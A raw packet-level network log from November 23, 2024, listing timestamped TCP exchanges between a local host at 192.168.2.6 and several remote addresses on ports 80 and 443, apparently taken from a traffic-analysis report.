Nov 23, 2024 05:02:55.998334885 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.998388052 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.998449087 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.998492956 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.999315977 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.999375105 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.999399900 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.999517918 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:56.000221968 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:56.000281096 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:56.013942957 CET	443	49906	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:56.014411926 CET	49906	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:56.014447927 CET	443	49906	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:56.014877081 CET	49906	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:56.014883041 CET	443	49906	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:56.067291021 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:56.067351103 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:56.067365885 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:56.067482948 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:56.067837954 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:56.067894936 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:56.067977905 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:56.068022013 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:56.069050074 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:56.069096088 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:56.069225073 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:56.069269896 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:56.069719076 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:56.069762945 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:56.069905043 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:56.069945097 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:56.070692062 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:56.070779085 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:56.070823908 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:56.070916891 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:56.071794033 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:56.071805000 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:56.071881056 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:56.072602987 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:56.072644949 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:56.072788954 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:56.072834969 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:56.073528051 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:56.073579073 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:56.073674917 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:56.073724031 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:56.074672937 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:56.074682951 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:56.074759007 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:56.075376034 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:56.075423956 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:56.075655937 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:56.075742960 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:56.076529980 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:56.076540947 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:56.076576948 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:56.077377081 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:56.077425003 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:56.081275940 CET	443	49908	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:56.081782103 CET	49908	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:56.081821918 CET	443	49908	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:56.082289934 CET	49908	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:56.082297087 CET	443	49908	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:56.128384113 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:56.156582117 CET	443	49876	104.117.182.59	192.168.2.6
Nov 23, 2024 05:02:56.156636000 CET	443	49876	104.117.182.59	192.168.2.6
Nov 23, 2024 05:02:56.156656981 CET	443	49876	104.117.182.59	192.168.2.6
Nov 23, 2024 05:02:56.156699896 CET	443	49876	104.117.182.59	192.168.2.6
Nov 23, 2024 05:02:56.156745911 CET	443	49876	104.117.182.59	192.168.2.6
Nov 23, 2024 05:02:56.156766891 CET	443	49876	104.117.182.59	192.168.2.6
Nov 23, 2024 05:02:56.156785965 CET	49876	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:02:56.156785965 CET	49876	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:02:56.156799078 CET	443	49876	104.117.182.59	192.168.2.6
Nov 23, 2024 05:02:56.156815052 CET	49876	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:02:56.156847000 CET	49876	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:02:56.192452908 CET	443	49870	13.107.21.237	192.168.2.6
Nov 23, 2024 05:02:56.194946051 CET	443	49870	13.107.21.237	192.168.2.6
Nov 23, 2024 05:02:56.195002079 CET	49870	443	192.168.2.6	13.107.21.237
Nov 23, 2024 05:02:56.196099997 CET	49870	443	192.168.2.6	13.107.21.237
Nov 23, 2024 05:02:56.196118116 CET	443	49870	13.107.21.237	192.168.2.6
Nov 23, 2024 05:02:56.200299978 CET	49917	443	192.168.2.6	20.110.205.119
Nov 23, 2024 05:02:56.200339079 CET	443	49917	20.110.205.119	192.168.2.6
Nov 23, 2024 05:02:56.200409889 CET	49917	443	192.168.2.6	20.110.205.119
Nov 23, 2024 05:02:56.200607061 CET	49917	443	192.168.2.6	20.110.205.119
Nov 23, 2024 05:02:56.200620890 CET	443	49917	20.110.205.119	192.168.2.6
Nov 23, 2024 05:02:56.247910023 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:56.255002022 CET	443	49904	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:56.255021095 CET	443	49904	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:56.255093098 CET	49904	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:56.255110025 CET	443	49904	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:56.255345106 CET	49904	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:56.255358934 CET	443	49904	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:56.255366087 CET	49904	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:56.255491018 CET	443	49904	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:56.255518913 CET	443	49904	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:56.255569935 CET	49904	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:56.258078098 CET	49918	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:56.258111000 CET	443	49918	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:56.258380890 CET	49918	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:56.258603096 CET	49918	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:56.258614063 CET	443	49918	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:56.642334938 CET	443	49876	104.117.182.59	192.168.2.6
Nov 23, 2024 05:02:56.642366886 CET	443	49876	104.117.182.59	192.168.2.6
Nov 23, 2024 05:02:56.642416000 CET	443	49876	104.117.182.59	192.168.2.6
Nov 23, 2024 05:02:56.642416954 CET	49876	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:02:56.642445087 CET	443	49876	104.117.182.59	192.168.2.6
Nov 23, 2024 05:02:56.642447948 CET	49876	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:02:56.642467022 CET	443	49876	104.117.182.59	192.168.2.6
Nov 23, 2024 05:02:56.642477036 CET	49876	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:02:56.642508984 CET	443	49907	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:56.642519951 CET	49876	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:02:56.642564058 CET	443	49907	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:56.642565966 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:56.642592907 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:56.642602921 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:56.642612934 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:56.642622948 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:56.642632008 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:56.642636061 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:56.642642021 CET	49907	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:56.642647028 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:56.642658949 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:56.642658949 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:56.642669916 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:56.642679930 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:56.642678976 CET	443	49905	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:56.642680883 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:56.642692089 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:56.642700911 CET	443	49876	104.117.182.59	192.168.2.6
Nov 23, 2024 05:02:56.642700911 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:56.642710924 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:56.642710924 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:56.642719030 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:56.642724991 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:56.642728090 CET	443	49908	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:56.642731905 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:56.642744064 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:56.642746925 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:56.642746925 CET	49876	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:02:56.642755985 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:56.642760992 CET	443	49905	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:56.642765045 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:56.642766953 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:56.642775059 CET	443	49876	104.117.182.59	192.168.2.6
Nov 23, 2024 05:02:56.642777920 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:56.642784119 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:56.642784119 CET	443	49908	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:56.642788887 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:56.642795086 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:56.642805099 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:56.642810106 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:56.642815113 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:56.642815113 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:56.642817020 CET	49905	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:56.642826080 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:56.642838001 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:56.642843008 CET	49876	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:02:56.642843008 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:56.642848969 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:56.642858028 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:56.642862082 CET	49908	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:56.642868996 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:56.642873049 CET	443	49876	104.117.182.59	192.168.2.6
Nov 23, 2024 05:02:56.642879009 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:56.642879963 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:56.642889977 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:56.642894983 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:56.642899990 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:56.642905951 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:56.642923117 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:56.642929077 CET	49876	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:02:56.642929077 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:56.642934084 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:56.642944098 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:56.642955065 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:56.642963886 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:56.642966986 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:56.642973900 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:56.642986059 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:56.642986059 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:56.642996073 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:56.643006086 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:56.643007040 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:56.643017054 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:56.643027067 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:56.643037081 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:56.643037081 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:56.643043041 CET	443	49906	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:56.643053055 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:56.643064022 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:56.643071890 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:56.643079042 CET	443	49906	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:56.643086910 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:56.643093109 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:56.643098116 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:56.643104076 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:56.643104076 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:56.643109083 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:56.643114090 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:56.643119097 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:56.643121004 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:56.643122911 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:56.643124104 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:56.643125057 CET	49906	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:56.643126965 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:56.643157005 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:56.643182993 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:56.643302917 CET	49907	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:56.643353939 CET	443	49907	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:56.643395901 CET	49907	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:56.643412113 CET	443	49907	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:56.643444061 CET	49906	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:56.643460035 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:56.643461943 CET	443	49906	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:56.643474102 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:56.643476963 CET	49906	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:56.643481970 CET	443	49906	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:56.643492937 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:56.643506050 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:56.643512964 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:56.643524885 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:56.643532991 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:56.643532991 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:56.643537998 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:56.643548965 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:56.643549919 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:56.643558025 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:56.643558979 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:56.643569946 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:56.643578053 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:56.643579006 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:56.643596888 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:56.643632889 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:56.645759106 CET	49905	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:56.645760059 CET	49905	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:56.645787001 CET	443	49905	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:56.645823002 CET	443	49905	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:56.646565914 CET	49908	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:56.646586895 CET	443	49908	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:56.646603107 CET	49908	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:56.646610022 CET	443	49908	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:56.649962902 CET	49919	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:56.649981976 CET	443	49919	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:56.650059938 CET	49919	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:56.650435925 CET	49919	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:56.650449038 CET	443	49919	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:56.650775909 CET	443	49876	104.117.182.59	192.168.2.6
Nov 23, 2024 05:02:56.650824070 CET	443	49876	104.117.182.59	192.168.2.6
Nov 23, 2024 05:02:56.650840044 CET	49876	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:02:56.650849104 CET	443	49876	104.117.182.59	192.168.2.6
Nov 23, 2024 05:02:56.650897026 CET	49876	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:02:56.650913954 CET	49876	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:02:56.652179003 CET	49920	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:56.652198076 CET	443	49920	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:56.652261019 CET	49920	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:56.652487993 CET	49920	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:56.652499914 CET	443	49920	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:56.653148890 CET	49921	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:56.653198004 CET	443	49921	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:56.653296947 CET	49921	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:56.653776884 CET	49921	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:56.653825045 CET	443	49921	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:56.661802053 CET	49922	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:56.661815882 CET	443	49922	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:56.661907911 CET	49922	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:56.662733078 CET	49922	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:56.662744999 CET	443	49922	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:56.764580965 CET	443	49876	104.117.182.59	192.168.2.6
Nov 23, 2024 05:02:56.764668941 CET	49876	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:02:56.801136017 CET	443	49876	104.117.182.59	192.168.2.6
Nov 23, 2024 05:02:56.801187038 CET	443	49876	104.117.182.59	192.168.2.6
Nov 23, 2024 05:02:56.801220894 CET	49876	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:02:56.801229000 CET	443	49876	104.117.182.59	192.168.2.6
Nov 23, 2024 05:02:56.801279068 CET	49876	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:02:56.836760998 CET	443	49876	104.117.182.59	192.168.2.6
Nov 23, 2024 05:02:56.836811066 CET	443	49876	104.117.182.59	192.168.2.6
Nov 23, 2024 05:02:56.836834908 CET	49876	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:02:56.836850882 CET	443	49876	104.117.182.59	192.168.2.6
Nov 23, 2024 05:02:56.836875916 CET	49876	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:02:56.836899996 CET	49876	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:02:56.852015972 CET	443	49876	104.117.182.59	192.168.2.6
Nov 23, 2024 05:02:56.852107048 CET	49876	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:02:56.887664080 CET	443	49876	104.117.182.59	192.168.2.6
Nov 23, 2024 05:02:56.887712002 CET	443	49876	104.117.182.59	192.168.2.6
Nov 23, 2024 05:02:56.887737036 CET	49876	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:02:56.887743950 CET	443	49876	104.117.182.59	192.168.2.6
Nov 23, 2024 05:02:56.887783051 CET	49876	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:02:56.887794971 CET	49876	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:02:56.918335915 CET	443	49876	104.117.182.59	192.168.2.6
Nov 23, 2024 05:02:56.918380976 CET	443	49876	104.117.182.59	192.168.2.6
Nov 23, 2024 05:02:56.918409109 CET	49876	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:02:56.918414116 CET	443	49876	104.117.182.59	192.168.2.6
Nov 23, 2024 05:02:56.918451071 CET	49876	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:02:56.953274012 CET	443	49876	104.117.182.59	192.168.2.6
Nov 23, 2024 05:02:56.953321934 CET	443	49876	104.117.182.59	192.168.2.6
Nov 23, 2024 05:02:56.953337908 CET	49876	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:02:56.953344107 CET	443	49876	104.117.182.59	192.168.2.6
Nov 23, 2024 05:02:56.953367949 CET	49876	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:02:56.953388929 CET	49876	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:02:56.966196060 CET	443	49876	104.117.182.59	192.168.2.6
Nov 23, 2024 05:02:56.966259003 CET	49876	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:02:56.973805904 CET	443	49876	104.117.182.59	192.168.2.6
Nov 23, 2024 05:02:56.973865032 CET	49876	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:02:56.973870039 CET	443	49876	104.117.182.59	192.168.2.6
Nov 23, 2024 05:02:56.973958969 CET	443	49876	104.117.182.59	192.168.2.6
Nov 23, 2024 05:02:56.973993063 CET	49876	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:02:56.974023104 CET	49876	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:02:56.974198103 CET	49876	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:02:56.974205971 CET	443	49876	104.117.182.59	192.168.2.6
Nov 23, 2024 05:02:57.001374006 CET	443	49915	104.117.182.59	192.168.2.6
Nov 23, 2024 05:02:57.001878977 CET	49915	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:02:57.001907110 CET	443	49915	104.117.182.59	192.168.2.6
Nov 23, 2024 05:02:57.003371000 CET	443	49915	104.117.182.59	192.168.2.6
Nov 23, 2024 05:02:57.003438950 CET	49915	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:02:57.004007101 CET	49915	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:02:57.004095078 CET	443	49915	104.117.182.59	192.168.2.6
Nov 23, 2024 05:02:57.004173040 CET	49915	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:02:57.044714928 CET	443	49912	104.117.182.59	192.168.2.6
Nov 23, 2024 05:02:57.044956923 CET	49912	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:02:57.044991016 CET	443	49912	104.117.182.59	192.168.2.6
Nov 23, 2024 05:02:57.045291901 CET	443	49912	104.117.182.59	192.168.2.6
Nov 23, 2024 05:02:57.045865059 CET	49912	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:02:57.045936108 CET	443	49912	104.117.182.59	192.168.2.6
Nov 23, 2024 05:02:57.046026945 CET	49912	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:02:57.046785116 CET	49915	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:02:57.046808004 CET	443	49915	104.117.182.59	192.168.2.6
Nov 23, 2024 05:02:57.048080921 CET	443	49914	104.117.182.59	192.168.2.6
Nov 23, 2024 05:02:57.048897028 CET	49914	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:02:57.048917055 CET	443	49914	104.117.182.59	192.168.2.6
Nov 23, 2024 05:02:57.049964905 CET	443	49916	104.117.182.59	192.168.2.6
Nov 23, 2024 05:02:57.050041914 CET	443	49914	104.117.182.59	192.168.2.6
Nov 23, 2024 05:02:57.050100088 CET	49914	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:02:57.050299883 CET	49916	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:02:57.050333977 CET	443	49916	104.117.182.59	192.168.2.6
Nov 23, 2024 05:02:57.050620079 CET	49914	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:02:57.050726891 CET	443	49914	104.117.182.59	192.168.2.6
Nov 23, 2024 05:02:57.050842047 CET	49914	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:02:57.050858974 CET	443	49914	104.117.182.59	192.168.2.6
Nov 23, 2024 05:02:57.051422119 CET	443	49916	104.117.182.59	192.168.2.6
Nov 23, 2024 05:02:57.051481962 CET	49916	443	192.168.2.6	104.117.182.59
